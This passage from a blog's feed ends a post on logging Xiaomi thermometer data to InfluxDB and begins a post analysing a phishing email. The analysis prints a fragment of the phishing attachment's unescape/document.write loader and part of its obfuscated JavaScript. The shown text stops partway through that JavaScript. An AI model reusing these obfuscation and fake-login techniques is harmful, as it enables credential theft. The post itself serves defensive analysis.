            &lt;span class=&quot;n&quot;&gt;Point&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sensor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;atc_mithermometer&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;WiFi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;status&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;WL_CONNECTED&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;sensor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;addTag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;location&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;locations&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c_str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;sensor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;addTag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;mac&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;knownBLEAddresses&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c_str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;
                &lt;span class=&quot;c1&quot;&gt;// Report RSSI of currently connected network&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;sensor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;addField&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;temperature&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;miThermometer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;temperature&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;sensor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;addField&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;humidity&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;miThermometer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;humidity&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;sensor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;addField&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;batt_level&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;miThermometer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;batt_level&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                &lt;span class=&quot;c1&quot;&gt;// Print what are we exactly writing&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;Serial&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Writing: &quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;Serial&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;println&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pointToLineProtocol&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sensor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;writePoint&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sensor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                    &lt;span class=&quot;n&quot;&gt;Serial&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;InfluxDB write failed: &quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                    &lt;span class=&quot;n&quot;&gt;Serial&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;println&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;getLastErrorMessage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;
                &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Serial&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;println&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;WiFi Disconnected&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// Delete results fromBLEScan buffer to release memory&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;miThermometer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;clearScanResults&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;delay&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;60000&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// run each 10min&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;InfluxBD uses the &lt;a href=&quot;https://docs.influxdata.com/influxdb/cloud/reference/syntax/line-protocol/&quot;&gt;line protocol&lt;/a&gt; as a way of writing data over HTTP into the database, including tags (here used for device location and MAC), datapoints (humidity, temperature, and battery level), and time (using NTP data).&lt;/p&gt;

&lt;h2 id=&quot;building-a-dashboard-final-result&quot;&gt;Building a Dashboard (Final Result)&lt;/h2&gt;

&lt;p&gt;Now that we have data being collected and sent to InfluxDB is time to build a dashboard. InfluxDB has a built-in dashboard-building tool that allows data from buckets to be explored and transformed.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/smarthome/dashboard.png&quot; alt=&quot;Dashboard&quot; /&gt;&lt;/p&gt;

&lt;p&gt;As data points are only being collected every 10 minutes, to have a smooth curve, we can use the interpolate function:&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;interpolate&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;bucket&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;bucket&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;|&amp;gt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;start&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;timeRangeStart&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;stop&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;timeRangeStop&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;|&amp;gt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;filter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;fn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;_measurement&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;atc_mithermometer&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;|&amp;gt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;filter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;fn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;_field&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;temperature&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;|&amp;gt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;interpolate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;linear&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;every&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;m&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;|&amp;gt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;aggregateWindow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;every&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;windowPeriod&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;fn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;last&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;createEmpty&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;|&amp;gt;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;yield&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;last&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This gives us a view of temperature per device (tagged by location and mac address). InfluxDB also has built-in features to &lt;a href=&quot;https://docs.influxdata.com/influxdb/cloud/monitor-alert/checks/create/&quot;&gt;trigger alerts&lt;/a&gt; when some &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;threshold&lt;/code&gt; is bypassed and to create &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;deadman&lt;/code&gt; checks that trigger when some measurement has no new data for a period of time.&lt;/p&gt;

&lt;h2 id=&quot;next-steps&quot;&gt;Next Steps&lt;/h2&gt;

&lt;p&gt;Given the 30 days retention limit of InfluxDB free tier, one solution for backing up old data could be built using some FaaS service (e.g. &lt;a href=&quot;https://workers.cloudflare.com/&quot;&gt;Cloudflare Workers&lt;/a&gt;). As an example, the backup &lt;em&gt;serverless&lt;/em&gt; function could be like a &lt;em&gt;cron job&lt;/em&gt; that runs each 30 days and downloads all the data from InfluxDB as a CSV and uploads it to some cloud data storage provider.&lt;/p&gt;

&lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;

&lt;div class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;
  &lt;ol&gt;
    &lt;li id=&quot;fn:1&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;&lt;a href=&quot;https://xkcd.com/927/&quot;&gt;https://xkcd.com/927/&lt;/a&gt; &lt;a href=&quot;#fnref:1&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:2&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;The &lt;a href=&quot;https://github.com/pvvx/ATC_MiThermometer&quot;&gt;ATC_MiThermometer firmware by pvvx&lt;/a&gt; supports Xiaomi Mijia (LYWSD03MMC) as well as the Xiaomi Miaomiaoce (MHO-C401), the Qingping Temp &amp;amp; RH Monitor (CGG1-Mijia), and the CGDK2 Qingping Temp &amp;amp; RH Monitor Lite. &lt;a href=&quot;#fnref:2&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:3&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;&lt;a href=&quot;https://www.influxdata.com/integration/mqtt-native-collector/&quot;&gt;InfluxDB MQTT Native Collector&lt;/a&gt; has the potential to fill in this gap by requiring only a broker but no middleware, but it is a paid-tier only feature. @InfluxDB, why not a free tier? &lt;a href=&quot;#fnref:3&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:4&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;An alternative to InfluxDB would be to use the &lt;a href=&quot;https://developers.google.com/sheets/api/&quot;&gt;Google Sheets API&lt;/a&gt; to store data in sheets by making REST requests and, then, add some charts that update automatically when new lines are added. &lt;a href=&quot;#fnref:4&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;
</description>
        <pubDate>Mon, 03 Oct 2022 00:00:00 +0000</pubDate>
        <link>https://jpdias.me/iot/2022/10/03/a-not-so-smart-smart-home.html</link>
        <guid isPermaLink="true">https://jpdias.me/iot/2022/10/03/a-not-so-smart-smart-home.html</guid>
        
        <category>iot</category>
        
        <category>smarthome</category>
        
        <category>things</category>
        
        <category>monitoring</category>
        
        
        <category>iot</category>
        
      </item>
    
      <item>
        <title>On the hook of a phisher</title>
        <description>&lt;p&gt;Phishing campaigns are standard, but they are typically poorly done and low-effort. But, sometimes, we catch a good one. This reports an analysis carried over one of those shady emails.&lt;/p&gt;

&lt;!--more--&gt;

&lt;h2 id=&quot;the-welcoming-message&quot;&gt;The Welcoming Message&lt;/h2&gt;

&lt;p&gt;The entry point for this attempt was an email message sent to one of the top-tier individuals at the target organization.&lt;/p&gt;

&lt;p&gt;The email contained the subject “Payment_Processed_for_Inv_92994_July 26, 2022” and was sent from an &lt;a href=&quot;gmx.net&quot;&gt;gmx.net&lt;/a&gt; email account. The sender details did appear legit, with something similar to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;COMPANY_NAME | Account&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;As usual, the juice is in the attachments. So we have an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ATT26270.htm&lt;/code&gt; which, when open, presents us with the following well-crafted fake Microsoft login page:&lt;/p&gt;

&lt;center&gt;
&lt;img style=&quot;max-width: 70%;&quot; alt=&quot;Web page content&quot; src=&quot;/images/phishingms/hello.png&quot; /&gt;
&lt;/center&gt;

&lt;p&gt;Opening the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;htm&lt;/code&gt; file, we encounter the following code in an enormous one-liner:&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;script &lt;/span&gt;&lt;span class=&quot;na&quot;&gt;language=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;javascript&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;unescape&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
      &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;%0D%0A%0D%0A%0D%0A%0D%0A%...%3C/script%3E%0D%0A%0D%0A%0D%0A%0D%0A%3C/html%3E&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The escaped long string corresponds to the full web page, as shown above. This seems like a simple trick to bypass some of the spam filters and other protections. Looking at the code that is passed to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;document.write&lt;/code&gt;, we can see a normal web page with some forms, which is an almost perfect rip-off of the login form of Microsoft (including the enormous b64 encoded background image), and can be seen &lt;a href=&quot;https://gist.github.com/jpdias/6d200c746f335ff86b5c809795e5af47#file-index-html&quot;&gt;here (gist)&lt;/a&gt;. The curious part starts when we look at the JavaScript code that is part of the generated page.&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_0x568f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(){&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_0x3cc923&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;indexOf&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;http://www.&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;ready&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;base64string==&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;Verifing...&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;toLowerCase&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;html&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;signal&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;Email&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x20field&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x20is&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x20emply.!&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;click&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;val&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;animate&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;#pr&lt;/span&gt;&lt;span 